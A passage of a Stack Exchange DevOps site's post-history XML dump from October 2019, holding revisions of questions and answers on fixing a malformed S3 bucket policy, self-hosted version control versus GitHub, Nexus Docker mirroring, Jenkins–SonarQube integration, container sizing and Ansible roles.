&quot;s3:GetObject&quot;,&#xD;&#xA;    				&quot;s3:GetObjectAcl&quot;,&#xD;&#xA;    				&quot;s3:GetObjectVersion&quot;,&#xD;&#xA;    				&quot;s3:GetObjectVersionAcl&quot;,&#xD;&#xA;    				&quot;s3:PutObject&quot;,&#xD;&#xA;    				&quot;s3:PutObjectAcl&quot;,&#xD;&#xA;    				&quot;s3:PutObjectAclVersion&quot;&#xD;&#xA;    			],&#xD;&#xA;    			&quot;Resource&quot;: &quot;arn:aws:s3:::&lt;my-bucket&gt;/*&quot;,&#xD;&#xA;    			&quot;Principal&quot;: {&#xD;&#xA;    				&quot;AWS&quot;: [&#xD;&#xA;    					&quot;arn:aws:iam::560184616970:user/&lt;my-username&gt;&quot;&#xD;&#xA;    				]&#xD;&#xA;    			},&#xD;&#xA;    			&quot;Statement&quot;: [{&#xD;&#xA;    				&quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;    				&quot;Action&quot;: &quot;s3:ListAllMyBuckets&quot;,&#xD;&#xA;    				&quot;Resource&quot;: &quot;*&quot;&#xD;&#xA;    			}]&#xD;&#xA;    		}]&#xD;&#xA;    	}]&#xD;&#xA;    }&#xD;&#xA;Can anyone give me guidance here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28719" PostHistoryTypeId="1" PostId="9609" RevisionGUID="2d1a602e-61f3-4321-886c-18b0a392b995" CreationDate="2019-10-29T22:12:44.760" UserId="17878" Text="S3 bucket policy errors" ContentLicense="CC BY-SA 4.0" />
  <row Id="28720" PostHistoryTypeId="3" PostId="9609" RevisionGUID="2d1a602e-61f3-4321-886c-18b0a392b995" CreationDate="2019-10-29T22:12:44.760" UserId="17878" Text="&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28722" PostHistoryTypeId="2" PostId="9610" RevisionGUID="11213329-fb5b-449b-8293-d1984caab756" CreationDate="2019-10-30T05:34:51.250" UserId="17886" Text="What is self hosted version control system and how it's different from github." ContentLicense="CC BY-SA 4.0" />
  <row Id="28723" PostHistoryTypeId="1" PostId="9610" RevisionGUID="11213329-fb5b-449b-8293-d1984caab756" CreationDate="2019-10-30T05:34:51.250" UserId="17886" Text="What is self hosted version control system?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28724" PostHistoryTypeId="3" PostId="9610" RevisionGUID="11213329-fb5b-449b-8293-d1984caab756" CreationDate="2019-10-30T05:34:51.250" UserId="17886" Text="&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28725" PostHistoryTypeId="2" PostId="9611" RevisionGUID="8fdb3f61-b0d4-4a36-983f-efad6b1ba6cf" CreationDate="2019-10-30T06:29:45.717" UserId="40" Text="Assume you have your own IT infrastructure, eg a Linux server or a good old mainframe, on which you are running (hosting) your VCS software of choice, e.g GIT or ChangeMan ZMF. In such case you have a self hosted hosted VCS. As compared to GitHub, which is a web-based hosting service for software development projects using Git." ContentLicense="CC BY-SA 4.0" />
  <row Id="28726" PostHistoryTypeId="2" PostId="9612" RevisionGUID="988a790e-9d3f-444c-842e-4e8bc4e94d06" CreationDate="2019-10-30T08:34:55.123" UserId="354" Text="Let's take it word by word:&#xD;&#xA;&#xD;&#xA;- **Self**: You or your organisation owns this thing&#xD;&#xA;- **Hosted**: You or your organisation are responsible for _operating_ and _maintaining_ this thing. This means keeping it secure, making any changes to it, serving user requests for change, etc. You are also responsible for some part of the infrastructure necessary to provide this service. This may vary, depending on who you have service provision agreements with, from everything down to the power and networking, or only the last layer of the service (the VCS itself), or anything in between.&#xD;&#xA;- **&quot;version control system&quot;**: anything (software or otherwise... but probably software) which provides the functionality necessary to control versions. Note there is a subtle difference between [Version Control](https://en.wikipedia.org/wiki/Version_control) and [Version Control Software](https://en.wikipedia.org/wiki/List_of_version-control_software), although the meaning is often conflated.&#xD;&#xA;&#xD;&#xA;The term VCS can refer to any version control system, even when it is not applied to software, however in our context, it can be assumed that you are referring to a version control system **applied to software**.&#xD;&#xA;&#xD;&#xA;In other words, a &quot;self-hosted VCS&quot; can be thought of as :&#xD;&#xA;&#xD;&#xA;&gt; A service and all of it's components which is under your own ownership and control, acting as a version control system for software.&#xD;&#xA;&#xD;&#xA;Often, this can take the form of:&#xD;&#xA;&#xD;&#xA;- Base infrastructure (network/power/server)&#xD;&#xA;- operating system&#xD;&#xA;- authentication and authorisation mechanism&#xD;&#xA;- VCS server itself (Git, SVN, _etc_).&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28727" PostHistoryTypeId="5" PostId="9612" RevisionGUID="10132073-8939-428b-9480-ef1bcd7624a8" CreationDate="2019-10-30T09:21:49.287" UserId="354" Comment="Address @peter's comments about the difference between self-hosted and github" Text="Let's take it word by word:&#xD;&#xA;&#xD;&#xA;- **Self**: You or your organisation owns this thing. By contrast, a cloud-based offering by GitHub, Azure, GitLab, etc (see [this list in wikipedia](https://en.wikipedia.org/wiki/Comparison_of_source-code-hosting_facilities) for a wider list) is not owned by you, but rather the service provider in question. Do not confuse ownership of the _code_ (dictated by it's license -- typically owned by you), with ownership of the service for performing version control on the code.&#xD;&#xA;- **Hosted**: You or your organisation are responsible for _operating_ and _maintaining_ this thing. This means keeping it secure, making any changes to it, serving user requests for change, etc. You are also responsible for some part of the infrastructure necessary to provide this service. This may vary, depending on who you have service provision agreements with, from everything down to the power and networking, or only the last layer of the service (the VCS itself), or anything in between.&#xD;&#xA;- **&quot;version control system&quot;**: anything (software or otherwise... but probably software) which provides the functionality necessary to control versions. Note there is a subtle difference between [Version Control](https://en.wikipedia.org/wiki/Version_control) and [Version Control Software](https://en.wikipedia.org/wiki/List_of_version-control_software), although the meaning is often conflated.&#xD;&#xA;&#xD;&#xA;The term VCS can refer to any version control system, even when it is not applied to software, however in our context, it can be assumed that you are referring to a version control system **applied to software**.&#xD;&#xA;&#xD;&#xA;In other words, a &quot;self-hosted VCS&quot; can be thought of as :&#xD;&#xA;&#xD;&#xA;&gt; A service and all of it's components which is under your own ownership and control, acting as a version control system for software.&#xD;&#xA;&#xD;&#xA;Often, this can take the form of:&#xD;&#xA;&#xD;&#xA;- Base infrastructure (network/power/server)&#xD;&#xA;- operating system&#xD;&#xA;- authentication and authorisation mechanism&#xD;&#xA;- VCS server itself (Git, SVN, _etc_).&#xD;&#xA;&#xD;&#xA;The second part of your question is about how it is different from GitHub. The following contrast can be made:&#xD;&#xA;&#xD;&#xA;1. Functionally there may be differences between what you can do with GitHub an what you can do with your self-hosted VCS. GitHub, as is the case for almost all VCS hosted by third parties (_ie_ **not** hosted by you) goes a few steps further than simply doing version control. There are collaboration tools, identity management, issue tracking, _etc_ built into their service. While this is strictly speaking not part of VCS, it greatly improves the experience of using one, almost to the point where doing version control without them feels impossible.&#xD;&#xA;1. GitHub owns and operates the service. You may make suggestions to change their service, API, _etc_, and perhaps even contributions to their open source products, but you do not own the service. It is provided to you based on the SLA for the offering that you choose. You cannot make your own changes to it. This is overall a very good thing, unless you are in the business of providing the VCS itself -- but chances are that you just want to _use_ the service, not compete with it." ContentLicense="CC BY-SA 4.0" />
  <row Id="28728" PostHistoryTypeId="2" PostId="9613" RevisionGUID="178eaa5b-81ca-4b93-b92a-fd71ce759f5b" CreationDate="2019-10-30T09:29:15.447" UserId="13" Text="It looks like you tried to compile multiple policies into one.  &#xD;&#xA;Each original had a statement with its array of statements and you nested them.&#xD;&#xA;&#xD;&#xA;This (untested) should work with each statement block within the array of Statement of the policy:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;      &quot;Statement&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;          &quot;Action&quot;: [&#xD;&#xA;            &quot;s3:ListBucket&quot;,&#xD;&#xA;            &quot;s3:GetBucketLocation&quot;,&#xD;&#xA;            &quot;s3:ListBucketMultipartUploads&quot;&#xD;&#xA;          ],&#xD;&#xA;          &quot;Resource&quot;: &quot;arn:aws:s3:::&lt;my bucket&gt;&quot;,&#xD;&#xA;          &quot;Principal&quot;: {&#xD;&#xA;            &quot;AWS&quot;: [&#xD;&#xA;              &quot;arn:aws:iam::560184616970:user/&lt;my username&gt;&quot;&#xD;&#xA;            ]&#xD;&#xA;          }&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;          &quot;Action&quot;: [&#xD;&#xA;            &quot;s3:AbortMultipartUpload&quot;,&#xD;&#xA;            &quot;s3:DeleteObject&quot;,&#xD;&#xA;            &quot;s3:DeleteObjectVersion&quot;,&#xD;&#xA;            &quot;s3:GetObject&quot;,&#xD;&#xA;            &quot;s3:GetObjectAcl&quot;,&#xD;&#xA;            &quot;s3:GetObjectVersion&quot;,&#xD;&#xA;            &quot;s3:GetObjectVersionAcl&quot;,&#xD;&#xA;            &quot;s3:PutObject&quot;,&#xD;&#xA;            &quot;s3:PutObjectAcl&quot;,&#xD;&#xA;            &quot;s3:PutObjectAclVersion&quot;&#xD;&#xA;          ],&#xD;&#xA;          &quot;Resource&quot;: &quot;arn:aws:s3:::&lt;my-bucket&gt;/*&quot;,&#xD;&#xA;          &quot;Principal&quot;: {&#xD;&#xA;            &quot;AWS&quot;: [&#xD;&#xA;              &quot;arn:aws:iam::560184616970:user/&lt;my-username&gt;&quot;&#xD;&#xA;            ]&#xD;&#xA;          }&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;          &quot;Action&quot;: &quot;s3:ListAllMyBuckets&quot;,&#xD;&#xA;          &quot;Resource&quot;: &quot;*&quot;&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;An alternative could be to use [aws bucket policy generator](https://awspolicygen.s3.amazonaws.com/policygen.html)" ContentLicense="CC BY-SA 4.0" />
  <row Id="28729" PostHistoryTypeId="2" PostId="9614" RevisionGUID="2da3a14c-ccf9-4475-a0dc-ff56877bee73" CreationDate="2019-10-30T10:13:08.683" UserId="17715" Text="So, &#xD;&#xA;&#xD;&#xA;We are going to setup local proxy repository. Which directs to further docker hub and our another remote Docker Hosted repository hosted on different location.Which is requested through Docker(group) in Nexus.&#xD;&#xA;&#xD;&#xA;I want to create a mirror for our remote repository in our local repository.&#xD;&#xA;&#xD;&#xA;I see some videos on youtube but they are from 2009 that doesn't help much.&#xD;&#xA;&#xD;&#xA;Any help appreciated.Thank you" ContentLicense="CC BY-SA 4.0" />
  <row Id="28730" PostHistoryTypeId="1" PostId="9614" RevisionGUID="2da3a14c-ccf9-4475-a0dc-ff56877bee73" CreationDate="2019-10-30T10:13:08.683" UserId="17715" Text="How to setup Mirror proxy Repository in Nexus Nexus Repository ManagerOSS 3.19.1-01?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28731" PostHistoryTypeId="3" PostId="9614" RevisionGUID="2da3a14c-ccf9-4475-a0dc-ff56877bee73" CreationDate="2019-10-30T10:13:08.683" UserId="17715" Text="&lt;docker&gt;&lt;nexus&gt;&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28732" PostHistoryTypeId="5" PostId="9609" RevisionGUID="775e894f-414f-4116-a1f5-59a87d0ab6df" CreationDate="2019-10-30T11:49:33.677" UserId="354" Comment="Improve style and tone." Text="I have the following bucket policy for Amazon S3, which is giving the following error:&#xD;&#xA;&#xD;&#xA;&gt; Error: Invalid bucket policy syntax.&#xD;&#xA;&#xD;&#xA;Either it is a JSON syntax error or a Policy error.&#xD;&#xA;&#xD;&#xA;This is the policy I am trying and failing with:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;    	&quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;    	&quot;Statement&quot;: [{&#xD;&#xA;    		&quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;    		&quot;Action&quot;: [&#xD;&#xA;    			&quot;s3:ListBucket&quot;,&#xD;&#xA;    			&quot;s3:GetBucketLocation&quot;,&#xD;&#xA;    			&quot;s3:ListBucketMultipartUploads&quot;&#xD;&#xA;    		],&#xD;&#xA;    		&quot;Resource&quot;: &quot;arn:aws:s3:::&lt;my bucket&gt;&quot;,&#xD;&#xA;    		&quot;Principal&quot;: {&#xD;&#xA;    			&quot;AWS&quot;: [&#xD;&#xA;    				&quot;arn:aws:iam::560184616970:user/&lt;my username&gt;&quot;&#xD;&#xA;    			]&#xD;&#xA;    		},&#xD;&#xA;    		&quot;Statement&quot;: [{&#xD;&#xA;    			&quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;    			&quot;Action&quot;: [&#xD;&#xA;    				&quot;s3:AbortMultipartUpload&quot;,&#xD;&#xA;    				&quot;s3:DeleteObject&quot;,&#xD;&#xA;    				&quot;s3:DeleteObjectVersion&quot;,&#xD;&#xA;    				&quot;s3:GetObject&quot;,&#xD;&#xA;    				&quot;s3:GetObjectAcl&quot;,&#xD;&#xA;    				&quot;s3:GetObjectVersion&quot;,&#xD;&#xA;    				&quot;s3:GetObjectVersionAcl&quot;,&#xD;&#xA;    				&quot;s3:PutObject&quot;,&#xD;&#xA;    				&quot;s3:PutObjectAcl&quot;,&#xD;&#xA;    				&quot;s3:PutObjectAclVersion&quot;&#xD;&#xA;    			],&#xD;&#xA;    			&quot;Resource&quot;: &quot;arn:aws:s3:::&lt;my-bucket&gt;/*&quot;,&#xD;&#xA;    			&quot;Principal&quot;: {&#xD;&#xA;    				&quot;AWS&quot;: [&#xD;&#xA;    					&quot;arn:aws:iam::560184616970:user/&lt;my-username&gt;&quot;&#xD;&#xA;    				]&#xD;&#xA;    			},&#xD;&#xA;    			&quot;Statement&quot;: [{&#xD;&#xA;    				&quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;    				&quot;Action&quot;: &quot;s3:ListAllMyBuckets&quot;,&#xD;&#xA;    				&quot;Resource&quot;: &quot;*&quot;&#xD;&#xA;    			}]&#xD;&#xA;    		}]&#xD;&#xA;    	}]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Can anyone give me guidance here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28733" PostHistoryTypeId="6" PostId="9609" RevisionGUID="775e894f-414f-4116-a1f5-59a87d0ab6df" CreationDate="2019-10-30T11:49:33.677" UserId="354" Comment="Improve style and tone." Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;json&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28734" PostHistoryTypeId="24" PostId="9609" RevisionGUID="775e894f-414f-4116-a1f5-59a87d0ab6df" CreationDate="2019-10-30T11:49:33.677" Comment="Proposed by 354 approved by 13, 40 edit id of 1111" ContentLicense="CC BY-SA 4.0" />
  <row Id="28735" PostHistoryTypeId="10" PostId="9614" RevisionGUID="31f91789-a203-41af-917f-6144e540e8cc" CreationDate="2019-10-30T11:50:52.753" UserId="40" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="28736" PostHistoryTypeId="5" PostId="9614" RevisionGUID="f88c8b39-7f6a-4d9a-82c9-000858c196c3" CreationDate="2019-10-30T12:01:13.770" UserId="17715" Comment="little more explanation" Text="So, &#xD;&#xA;&#xD;&#xA;We are going to setup local proxy repository. Which directs to further docker hub and our another remote Docker Hosted repository hosted on different location.Which is requested through Docker(group) in Nexus.&#xD;&#xA;&#xD;&#xA;I want to create a mirror for our remote repository which we are accessing through docker proxy in Nexus Repository manager in our local repository and caching its contents when somebody requests a image that is hosted in remote repository and next time when somebody fetches it he is served through local caching.  &#xD;&#xA;&#xD;&#xA;&gt; So if anybody pushes updated docker image on our remote repository it&#xD;&#xA;&gt; should be automatically mirrored in local repository&#xD;&#xA;&#xD;&#xA; unlike when somebody requests updated image then local cache is invalidated and request again goes to remote repository for fetching the updated image.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any help appreciated.Thank you" ContentLicense="CC BY-SA 4.0" />
  <row Id="28737" PostHistoryTypeId="5" PostId="9614" RevisionGUID="12fb0663-4fd7-4b30-8b70-2a165216fe8a" CreationDate="2019-10-30T12:09:32.887" UserId="17715" Comment="added 136 characters in body" Text="So, &#xD;&#xA;&#xD;&#xA;We are going to setup local proxy repository. Which directs to further docker hub and our another remote Docker Hosted repository hosted on different location.Which is requested through Docker(group) in Nexus.&#xD;&#xA;&#xD;&#xA;I want to create a mirror for our remote repository which we are accessing through docker proxy in Nexus Repository manager in our local repository and caching its contents when somebody requests a image that is hosted in remote repository and next time when somebody fetches it he is served through local caching.  &#xD;&#xA;&#xD;&#xA;&gt; So if anybody pushes updated docker image on our remote repository it&#xD;&#xA;&gt; should be automatically mirrored in local repository&#xD;&#xA;&#xD;&#xA; unlike when somebody requests updated image then local cache is invalidated and request again goes to remote repository for fetching the updated image.&#xD;&#xA;&#xD;&#xA;Bottom line.&#xD;&#xA;&#xD;&#xA;&gt; How to do docker repository mirroring between two repository manager based on Nexus version i mentioned in question or any other way?&#xD;&#xA;&#xD;&#xA;Any help appreciated.Thank you" ContentLicense="CC BY-SA 4.0" />
  <row Id="28741" PostHistoryTypeId="4" PostId="9614" RevisionGUID="14c48b77-de26-45c8-9b4a-14c56c19bf9b" CreationDate="2019-10-30T12:59:43.153" UserId="17715" Comment="edited title" Text="How to setup Mirror proxy Repository in Nexus Repository ManagerOSS 3.19.1-01?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28742" PostHistoryTypeId="2" PostId="9616" RevisionGUID="316a5e8b-49ee-4d59-a5e9-29294e2b1782" CreationDate="2019-10-30T13:26:20.230" UserId="17606" Text="&#xD;&#xA;I have a Jenkins pipeline that periodically pull from gitlab and build different repos, build a multi-component platform, run and test it. Now I installed a sonarqube server on the same machine (Ubuntu 18.04) and I want to connect my Jenkins to sonarqube.&#xD;&#xA;&#xD;&#xA;In Jenkins:&#xD;&#xA;&#xD;&#xA;- I set up the sonarqube scanner at `Global Tool Configuration` as below:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;- I generated a token in sonarqube and in Jenkins at `configuration` I set up the server as below BUT I couldn't find any place to insert the token (and I think this is the problem):&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;- In the jenkins pipeline this is how I added a stage for sonarqube:&#xD;&#xA;```&#xD;&#xA;stage('SonarQube analysis') {&#xD;&#xA;    steps{&#xD;&#xA;        script {&#xD;&#xA;            scannerHome = tool 'SonarQube';&#xD;&#xA;        }&#xD;&#xA;        withSonarQubeEnv('SonarQube') {&#xD;&#xA;            sh &quot;${scannerHome}/bin/sonar-scanner&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But this fails with below logs and `ERROR: script returned exit code 127`:&#xD;&#xA;```&#xD;&#xA;[Pipeline] { (SonarQube analysis)&#xD;&#xA;[Pipeline] script&#xD;&#xA;[Pipeline] {&#xD;&#xA;[Pipeline] tool&#xD;&#xA;Invalid tool ID &#xD;&#xA;[Pipeline] }&#xD;&#xA;[Pipeline] // script&#xD;&#xA;[Pipeline] withSonarQubeEnv&#xD;&#xA;Injecting SonarQube environment variables using the configuration: SonarQube&#xD;&#xA;[Pipeline] {&#xD;&#xA;[Pipeline] sh&#xD;&#xA;+ /var/lib/jenkins/tools/hudson.plugins.sonar.SonarRunnerInstallation/SonarQube/bin/sonar-scanner&#xD;&#xA;/var/lib/jenkins/workspace/wws-full-test@tmp/durable-2c68acd1/script.sh: 1: /var/lib/jenkins/workspace/wws-full-test@tmp/durable-2c68acd1/script.sh: /var/lib/jenkins/tools/hudson.plugins.sonar.SonarRunnerInstallation/SonarQube/bin/sonar-scanner: not found&#xD;&#xA;[Pipeline] }&#xD;&#xA;WARN: Unable to locate 'report-task.txt' in the workspace. Did the SonarScanner succeeded?&#xD;&#xA;[Pipeline] // withSonarQubeEnv&#xD;&#xA;[Pipeline] }&#xD;&#xA;[Pipeline] // stage&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And when I check my jenkinstools on the disk sonnar plugin is not there:&#xD;&#xA;```&#xD;&#xA;$ ls /var/lib/jenkins/tools/&#xD;&#xA;jenkins.plugins.nodejs.tools.NodeJSInstallation&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Can someone please let me know how I can connect Jenkins to sonarqube?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/GQ7sd.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/wOOqu.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="28743" PostHistoryTypeId="1" PostId="9616" RevisionGUID="316a5e8b-49ee-4d59-a5e9-29294e2b1782" CreationDate="2019-10-30T13:26:20.230" UserId="17606" Text="Problem with Connecting Jenkins to SonarQube" ContentLicense="CC BY-SA 4.0" />
  <row Id="28744" PostHistoryTypeId="3" PostId="9616" RevisionGUID="316a5e8b-49ee-4d59-a5e9-29294e2b1782" CreationDate="2019-10-30T13:26:20.230" UserId="17606" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;sonarqube&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28745" PostHistoryTypeId="52" PostId="9610" RevisionGUID="164ca342-024f-4d23-b02a-53c24f3d709a" CreationDate="2019-10-30T13:39:49.400" />
  <row Id="28746" PostHistoryTypeId="4" PostId="9614" RevisionGUID="1190db83-e161-41ed-ac0b-b46b9d82b3e0" CreationDate="2019-10-30T13:52:40.887" UserId="17715" Comment="edited title" Text="How to setup Docker mirror proxy Repository in Nexus Repository ManagerOSS 3.19.1-01?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28747" PostHistoryTypeId="5" PostId="9612" RevisionGUID="3fe72795-6f2c-4e7f-943f-22e499135cef" CreationDate="2019-10-30T14:59:47.843" UserId="354" Comment="Make explicit that e.g. GitLab could be self-hosted" Text="Let's take it word by word:&#xD;&#xA;&#xD;&#xA;- **Self**: You or your organisation owns this thing. By contrast, a cloud-based offering by GitHub.com, Azure, GitLab.com, etc (see [this list in wikipedia](https://en.wikipedia.org/wiki/Comparison_of_source-code-hosting_facilities) for a wider list) is not owned by you, but rather the service provider in question. Do not confuse ownership of the _code_ (dictated by it's license -- typically owned by you), with ownership of the service for performing version control on the code.&#xD;&#xA;- **Hosted**: You or your organisation are responsible for _operating_ and _maintaining_ this thing. In some cases, this is exactly the same software (e.g. one can self-host GitLab or run GitHub Enterprise &quot;on premise&quot; in your own datacentre). This means keeping it secure, making any changes to it, serving user requests for change, etc. You are also responsible for some part of the infrastructure necessary to provide this service. This may vary, depending on who you have service provision agreements with, from everything down to the power and networking, or only the last layer of the service (the VCS itself), or anything in between.&#xD;&#xA;- **&quot;version control system&quot;**: anything (software or otherwise... but probably software) which provides the functionality necessary to control versions. Note there is a subtle difference between [Version Control](https://en.wikipedia.org/wiki/Version_control) and [Version Control Software](https://en.wikipedia.org/wiki/List_of_version-control_software), although the meaning is often conflated.&#xD;&#xA;&#xD;&#xA;The term VCS can refer to any version control system, even when it is not applied to software, however in our context, it can be assumed that you are referring to a version control system **applied to software**.&#xD;&#xA;&#xD;&#xA;In other words, a &quot;self-hosted VCS&quot; can be thought of as :&#xD;&#xA;&#xD;&#xA;&gt; A service and all of it's components which is under your own ownership and control, acting as a version control system for software.&#xD;&#xA;&#xD;&#xA;Often, this can take the form of:&#xD;&#xA;&#xD;&#xA;- Base infrastructure (network/power/server)&#xD;&#xA;- operating system&#xD;&#xA;- authentication and authorisation mechanism&#xD;&#xA;- VCS server itself (Git, SVN, _etc_).&#xD;&#xA;&#xD;&#xA;The second part of your question is about how it is different from GitHub. The following contrast can be made:&#xD;&#xA;&#xD;&#xA;1. Functionally there may be differences between what you can do with GitHub an what you can do with your self-hosted VCS. GitHub, as is the case for almost all VCS hosted by third parties (_ie_ **not** hosted by you) goes a few steps further than simply doing version control. There are collaboration tools, identity management, issue tracking, _etc_ built into their service. While this is strictly speaking not part of VCS, it greatly improves the experience of using one, almost to the point where doing version control without them feels impossible.&#xD;&#xA;1. GitHub owns and operates the service. You may make suggestions to change their service, API, _etc_, and perhaps even contributions to their open source products, but you do not own the service. It is provided to you based on the SLA for the offering that you choose. You cannot make your own changes to it. This is overall a very good thing, unless you are in the business of providing the VCS itself -- but chances are that you just want to _use_ the service, not compete with it." ContentLicense="CC BY-SA 4.0" />
  <row Id="28748" PostHistoryTypeId="2" PostId="9617" RevisionGUID="3e8203cb-a44e-4412-a953-42e99ea9199c" CreationDate="2019-10-30T15:24:01.427" UserId="9586" Text="Right now, we have locally hosted (across multiple Datacenters) artifactory and Bitbucket. We're at a halfway point between Jenkins and Bamboo (with Jenkins beginning to make more traction against Bamboo).&#xD;&#xA;&#xD;&#xA;However, we're currently going through the task of building out a hybrid cloud platform, which is essentially going to be K8s on top of a cloud provider such as AWS or Azure. However, I've no idea how to approach ***securely*** deploying code or artifacts over the internet. Nor can I seem to find a 'best practice' cheat sheet. &#xD;&#xA;&#xD;&#xA;Any pointers? " ContentLicense="CC BY-SA 4.0" />
  <row Id="28749" PostHistoryTypeId="1" PostId="9617" RevisionGUID="3e8203cb-a44e-4412-a953-42e99ea9199c" CreationDate="2019-10-30T15:24:01.427" UserId="9586" Text="Secure deployments of on-prem artifacts to cloud" ContentLicense="CC BY-SA 4.0" />
  <row Id="28750" PostHistoryTypeId="3" PostId="9617" RevisionGUID="3e8203cb-a44e-4412-a953-42e99ea9199c" CreationDate="2019-10-30T15:24:01.427" UserId="9586" Text="&lt;jenkins&gt;&lt;deployment&gt;&lt;artifacts&gt;&lt;bamboo&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28757" PostHistoryTypeId="2" PostId="9620" RevisionGUID="aeb50a4a-4ac0-4078-859b-21967659f8b9" CreationDate="2019-10-30T16:44:43.230" UserId="397" Text="It's a severe problem to solve if you don't know the performance characteristics of the process you are containerising.  There are a couple of approaches you could take that will get you an answer, although you will need to monitor it carefully in production and an adjust the resource limits as required.&#xD;&#xA;&#xD;&#xA; - **Approach #1: Educated Guess** - take a look around at what other people have done to host a specific process, GitHub is quite an excellent resource for finding Dockerfiles and their associated Helm Charts.  Equally, if someone has done some tests for Virtual Machine sizing, you may be able to derive an answer that is acceptable in the short term.&#xD;&#xA; - **Approach #2: Testing** - my personal preference is to test the component in question:&#xD;&#xA;  - [The Apache Bench][1] is excellent for quick performance tests against HTTP(S) endpoints&#xD;&#xA;  - Tools such as the [MySQL Benchmark][2] tool allow you to test MySQL, many applications have dedicated benchmarking tools.&#xD;&#xA;  - If the software is more complicated you can use tools such as [Artillery][3] or [Gattling][4] to create a performance test suite that you can use to slam the container and find out how it performs.&#xD;&#xA;&#xD;&#xA;Whichever approach you take, you will need to make sure that you have a proper monitoring and dashboarding solution working so that you can actually analyse the behaviour of the containers under load and adjust accordingly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://httpd.apache.org/docs/2.4/programs/ab.html&#xD;&#xA;  [2]: https://dev.mysql.com/downloads/benchmarks.html&#xD;&#xA;  [3]: https://artillery.io/&#xD;&#xA;  [4]: https://gatling.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28758" PostHistoryTypeId="2" PostId="9621" RevisionGUID="c27a505d-0cd8-4c8e-871b-5707a7458441" CreationDate="2019-10-30T16:51:11.560" UserId="17910" Text="It's a best practice to develop Ansible Playbooks with reusable roles.&#xD;&#xA;&#xD;&#xA;From what I've seen, people end up putting all their roles into a single complex files anyways.  So it doesn't really fix the problem there.  I've read they can be split into multiple files, but now there's more to manage and it's no better than just writing multiple playbooks.&#xD;&#xA;&#xD;&#xA;Especially considering you can reuse playbooks and tie them together with an Ansible Tower Workflow, I'm not seeing the benefit of including an additional layer of abstraction and complexity for roles.&#xD;&#xA;&#xD;&#xA;Can someone tell me if I'm crazy for thinking this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28759" PostHistoryTypeId="1" PostId="9621" RevisionGUID="c27a505d-0cd8-4c8e-871b-5707a7458441" CreationDate="2019-10-30T16:51:11.560" UserId="17910" Text="Why is developing Ansible Playbooks using Roles a best practice?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28760" PostHistoryTypeId="3" PostId="9621" RevisionGUID="c27a505d-0cd8-4c8e-871b-5707a7458441" CreationDate="2019-10-30T16:51:11.560" UserId="17910" Text="&lt;ansible&gt;&lt;configuration-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28761" PostHistoryTypeId="2" PostId="9622" RevisionGUID="1caf0c48-9564-4025-b1dd-25b56b0b2ad9" CreationDate="2019-10-30T17:21:12.803" UserId="354" Text="There are many reasons that using roles is better than using long playbooks, and very few reasons that using a single long playbook is better than using a role. These are almost always clear only at a certain scale. Team size, workload number and complexity and frequency of execution all come into play here and the larger any of them get, the more obvious it becomes that organising things **hierarchically** and **modularly** into roles is the right thing to do.&#xD;&#xA;&#xD;&#xA;From the [Ansible docs](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html), there is an emphasis on _re-usability_:&#xD;&#xA;&#xD;&#xA;&gt; Roles are ways of automatically loading certain vars_files, tasks, and handlers based on a known file structure. Grouping content by roles also allows easy sharing of roles with other users.&#xD;&#xA;&#xD;&#xA;This is also why Ansible Galaxy is potentially useful. One can summarise the _effect_ of a long list of tasks, into a single concept - a role. Although the role may be considered as simply a long list of tasks -- and so not that different from a playbook -- the main benefit comes from the way it scopes variables. Out of the several analogies which may be applied, one may use 